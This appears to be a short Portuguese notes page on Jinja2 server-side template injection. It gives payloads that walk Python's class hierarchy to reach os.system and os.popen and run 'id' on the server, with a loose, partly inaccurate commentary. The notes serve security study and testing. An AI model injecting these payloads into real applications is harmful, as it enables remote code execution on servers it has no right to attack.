SSTI Jinja2

Testes {{'teste'.replace('e','D')}} __class__

import system os.system('id')

RCE a partir de uma string utilizando o os._wrap_close

nome.__class__.mro()[1].__subclasses__()[127].__init__.__globals__

nome.__class__.mro()[1].__subclasses__()[127].__init__.__globals__['system']('id')

Portanto, a partir de uma string conseguimos acessar a biblioteca str do Python. A biblioteca str do Python utiliza a função os._wrap_close do Python. Voltamos para o init, que é o construtor da os. E do construtor da os acessamos as variáveis e funções globais da lib os do Python, e com isso usamos a função system. rce a partir de bibliotecas built in do Python que importam o os

{{'caique'.__class__.mro()[2].__subclasses__()[131].__init__.__globals__['os'].popen('id').read()}}

{{'caique' "string"

.__class__.mro()[2] "object"

.__subclasses__()[131] "socket" .__init__.__globals__ "globals da lib socket" ['os'].popen('id').read() "popen do os" }}

EASY MODE Payload all the things

Not found

Last updated